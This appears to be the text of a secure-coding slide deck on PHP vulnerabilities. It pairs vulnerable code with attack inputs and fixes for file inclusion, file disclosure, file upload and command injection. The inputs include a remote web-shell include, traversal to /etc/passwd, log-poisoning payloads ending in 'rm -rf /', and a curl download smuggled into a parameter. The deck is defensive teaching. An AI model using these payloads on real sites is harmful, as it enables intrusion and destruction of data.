Secure PHP Coding - Part 1

PHP Functions you should keep eye on
• extract
• parse_str
• putenv
• ini_set
• mail
• header
• proc_nice
• proc_terminate
• proc_close
• pfsockopen
• fsockopen
• apache_child_terminate
• posix_kill
• posix_mk
• fifoposix_set
• pgidposix_set
• sidposix_setuid
• exec
• passthru
• system
• shell_exec
• `` (backticks)
• popen
• proc_open
• pcntl_exec
• eval()
• assert()
• preg_replace('/.*/e',...)
• create_function()
• include()
• include_once()
• require()
• require_once()
• $_GET['func_name']($_GET['argument']);
• new ReflectionFunction

…Continued :p
• fopen
• tmpfile
• bzopen
• gzopen
• SplFileObject>__construct
• chgrp
• chmod
• chown
• copy
• file_put_contents
• lchgrp
• lchown
• link
• mkdir
• move_uploaded_file
• rename
• rmdir
• symlink
• tempnam
• touch
• unlink
• file_get_contents
• file
• fileatime
• filectime
• filegroup
• fileinode
• filemtime
• fileowner
• fileperms
• filesize
• filetype
• glob
• is_dir
• is_executable
• is_file
• is_link
• is_readable
• is_uploaded_file
• is_writable
• readfile
• and 100 more

I didn’t do it
<?php
foreach ($_GET as $key => $value) {
$$key = $value;
}
echo 'Welcome ' . $user_name;
?>
https://www.zomato.com/your.php?user_name=Vinoth
welcome.php
Expected Input

https://www.zomato.com/your.php?_SESSION[isLoggedIn]=true&_SESSION[csrf_token]=123&_SESSION[user_id]=4

Types of Security Vulnerabilities
1. Remote File Inclusion (RFI)
2. Local File Inclusion (LFI)
3. Local File Disclosure/Download
4. Remote File Upload
5. Remote Command Execution
6. Remote Code Execution (RCE)
7. Authentication Bypass/Insecure Permissions
8. Cross Site Scripting (XSS)
9. Cross Site Request Forgery (CSRF)

Remote File Inclusion(RFI)
<?php
include $_GET['theme'].'.php';
?>
http://localhost/rfi/index.php?theme=pink
index.php
Expected Input

Remote File Inclusion – Attack
• Including Remote Code:
• http://localhost/rfi/index.php?theme=[http|https|ftp]://www.c99shellphp.com/shell/r57.txt
• http://localhost/rfi/index1.php?theme=[http|https|ftp]://www.c99shellphp.com/shell/r57.txt?
• Using PHP stream php://input:
• http://localhost/rfi/index.php?theme=php://input
• Using PHP stream php://filter:
• http://localhost/rfi/index.php?theme=php://filter/convert.base64-encode/resource=index.php
• Using data URIs:
• http://localhost/rfi/index.php?theme=data://text/plain;base64,SSBsb3ZlIFBIUAo=

Remote File Inclusion – Fix
• set allow_url_include = Off in php.ini
• Validate with array of allowed files
• Don't allow special chars in variables
• filter the slash "/"
• filter "http" , "https" , "ftp" and "smb”
<?php
$allowedThemes = array('pink.php', 'black.php');
$theme = $_GET['theme'].'php';
if(in_array($theme, $allowedThemes) && file_exists($theme)){
include $theme;
}
?>
index_fixed.php

Remote File Inclusion – Functions
• require
• require_once
• include
• include_once

Local File Inclusion(LFI)
<?php
include 'themes/'.$_GET['theme'].'.php';
?>
index.php
http://localhost/lfi/index.php?theme=pink
Expected Input

Local File Inclusion – Attack
• Reading Local Filesystem File:
• http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../etc/passwd
• Uploading PHP Shell:
• Exploiting Apache Access Log
• http://localhost/<?php system($_GET['cmd']); ?>
• http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../var/log/apache2/ac
cess.log&cmd=rm -rf /
• proc/self/environ method
• Tamper http User-Agent into <?php system($_GET['cmd']); ?>
• http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../proc/self/environ&c
md=rm -rf /

Local File Inclusion – Fix
• Validate with array of allowed files
• filter the dot "." and slash "/"
• filter "http" , "https" , "ftp" and "smb"
<?php
$allowedThemes = array('pink.php', 'black.php');
$theme = $_GET['theme'].'php';
if(in_array($theme, $allowedThemes)){
include 'themes/'.$theme;
}
?>
index_fixed.php

Local File Inclusion – Functions
• require
• require_once
• include
• include_once

Local File Disclosure/Download
<?php
$invoice = dirname(__FILE__).'invoices/'.$_REQUEST['invoice'];
header("Pragma: public"); header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($invoice));
@readfile($invoice);
die();
?>
download_invoice.php
http://localhost/lfd/download_invoice.php?invoice=ZINV01212.csv
Expected Input

Local File Disclosure/Download – Attack
• Download sytem files/config files/logs
• http://localhost/lfd/download_invoice.php?invoice=../../../../../../../../../../../..
/../../../../../../etc/passwd

Local File Disclosure/Download – Fix
• Use pathinfo or basename
• filter the dot "." and slash "/”
<?php
$invoice = dirname(__FILE__).'invoices/'.pathinfo($_REQUEST['invoice'])['filename'].'csv';
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($invoice));
@readfile($invoice);
die();
?>
download_invoice_fixed.php

Local File Disclosure/Download – Functions
• readfile
• bzopen
• fopen
• SplFileObject
• file_get_contents
• readlink

<?php
$filename = $_FILES['picture']['name'];
$folder = dirname(__FILE__).'/pictures/';
if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename)){
echo "picture not uploaded";
die();
}
echo "picture uploaded successfully";
?>
<?php
$size = getimagesize($_FILES['picture']['tmp_name']);
if (!$size) { echo 'Upload Image file :p'; die(); }
$filename = $_FILES['picture']['name'];
if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename)){
die();
}
?>
upload_profile_picture.php
upload_profile_picture_with_type_check.php

Remote File Upload – Attack
• Upload PHP file/Script File
• Upload Image file with php code in EXIF data and file extenstion is
php

Remote File Upload – Fix
• Validate file type and remove default file extension and remove
whitespaces in the file name
• Generate random file name
• Store uploaded files in different path not '/var/www/’
<?php
$size = getimagesize($_FILES['picture']['tmp_name']);
if (!$size) { echo 'Upload Image file :p'; die(); }
$filename = trim(pathinfo($_FILES['picture']['name'])['filename']);
if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename.'.jpg')){
die();
}
?>
upload_profile_picture_fixed.php

Remote File Upload – Functions
• move_uploaded_file
• file_put_contents
• fwrite

Remote Command Execution
<?php
$user_id = $_GET['user_id'];
$path = dirname(__FILE__).'/'.$user_id;
if (!file_exists($path)){
system('mkdir '.$path);
}
// upload picture
?>
upload_picture.php
http://localhost/command/upload_picture.php?user_id=1
Expected Input

Remote Command Execution – Attack
• Pass arguments with || or && then system commands
• http://localhost/command/upload_picture.php?user_id=1 || curl -
Khttps://raw.githubusercontent.com/vinothzomato/zpwned/master/lfd/dow
nload_invoice.php -o test.php

Remote Command Execution – Fix
• Use escapeshellarg() and escapeshellcmd()
<?php
$user_id = $_GET['user_id'];
$path = dirname(__FILE__).'/'.$user_id;
if (!file_exists($path)){
system('mkdir '.escapeshellarg($path));
}
// upload picture
?>
upload_picture_fixed.php

Remote Command Execution – Functions
• exec
• passthru
• system
• shell_exec
• `` (backticks)
• popen
• proc_open
• pcntl_exec

References
• https://github.com/vinothzomato/zpwned
• Information & Samples
• https://www.exploit-db.com/papers/12871/
• http://stackoverflow.com/questions/3115559/exploitable-php-
functions
• http://www.php-security.org/2010/05/20/mops-submission-07-our-
dynamic-php/index.html

Secure PHP Coding - Part 1

More Related Content

What's hot (19)

Similar to Secure PHP Coding - Part 1 (20)

Recently uploaded (20)

Secure PHP Coding - Part 1